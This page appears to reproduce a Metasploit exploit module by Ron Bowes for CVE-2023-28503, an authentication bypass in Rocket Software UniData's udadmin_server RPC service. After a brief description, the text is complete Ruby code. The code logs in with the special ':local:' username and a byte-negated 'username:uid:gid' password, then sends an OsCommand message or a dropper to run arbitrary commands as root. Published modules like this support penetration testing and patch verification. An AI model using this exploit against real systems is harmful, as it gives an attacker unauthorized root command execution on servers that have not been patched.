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Rocket Software Unidata udadmin_server Authentication Bypass
This Metasploit module exploits an authentication bypass vulnerability in the Linux version of udadmin_server, which is an RPC service that comes with the Rocket Software UniData server. This affects versions of UniData prior to 8.2.4 build 3003. This service typically runs as root. It accepts a username of “:local:” and a password in the form of "::", where username and uid must be a valid account, but gid can be anything except 0. This exploit takes advantage of this login account to authenticate as a chosen user and run an arbitrary command (using the built-in OsCommand message).
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Unirpc prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass', 'Description' => %q{ This module exploits an authentication bypass vulnerability in the Linux version of udadmin_server, which is an RPC service that comes with the Rocket Software UniData server. This affects versions of UniData prior to 8.2.4 build 3003. This service typically runs as root. It accepts a username of ":local:" and a password in the form of "<username>:<uid>:<gid>", where username and uid must be a valid account, but gid can be anything except 0. This exploit takes advantage of this login account to authenticate as a chosen user and run an arbitrary command (using the built-in OsCommand message). }, 'License' => MSF_LICENSE, 'Author' => [ 'Ron Bowes', # Discovery, PoC, module ], 'References' => [ [ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ], [ 'CVE', '2023-28503' ], ], 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 31438, 'PrependFork' => true }, 'Privileged' => true, 'DisclosureDate' => '2023-03-30', 'Notes' => { 'SideEffects' => [], 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE] } ) ) register_options( [ OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']), OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]), OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]), ] ) register_advanced_options( [ OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']), ] ) end # We can detect UniRPC by performing a version check, but the version number # didn't increment in the patch (only the build number did, which AFAICT we # can't access), so just do a sanity check def check version = unirpc_get_version vprint_status("Detected UniRPC version #{version} is running") Exploit::CheckCode::Detected rescue UniRPCCommunicationError => e return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}") rescue UniRPCUnexpectedResponseError => e return CheckCode::Safe("UniRPC server returned something unexpected: #{e}") end def execute_command(cmd, _opts = {}) vprint_status('Sending OsCommand request') sock.put(build_unirpc_message(args: [ # Message type { type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND }, { type: :string, value: cmd }, ])) end def exploit # Sanity check if datastore['UNIRPC_GID'] == 0 fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0') end # Connect to the service connect # Connect to the RPC service (probably "udadmin") vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}") sock.put(build_unirpc_message(args: [ # Service name { type: :string, value: datastore['UNIRPC_ENDPOINT'] }, # "Secure" flag - this must be non-zero if the server is started in # "secure" mode (-s) { type: :integer, value: 1 }, ])) # This will throw an error if the login fails, otherwise we can discard the # result recv_unirpc_message(sock, first_result_is_status: true) # Prepare the authentication bypass username = ':local:' password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}" vprint_status("Authenticating to RPC service as #{username} / #{password}") # Send the authentication message sock.put(build_unirpc_message(args: [ # Message type { type: :integer, value: UNIRPC_MESSAGE_LOGIN }, # Username # ":local:" is a special value that skips login { type: :string, value: username }, # Password (encoded by making each byte negative) # I think if username is :local:, this is username:uid:gid (gid can't be 0) { type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join }, ])) # Once again, we only care if this fails - if the status is an error recv_unirpc_message(sock, first_result_is_status: true) # Run the command(s) case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end rescue UniRPCCommunicationError => e fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}") rescue UniRPCUnexpectedResponseError => e fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}") endend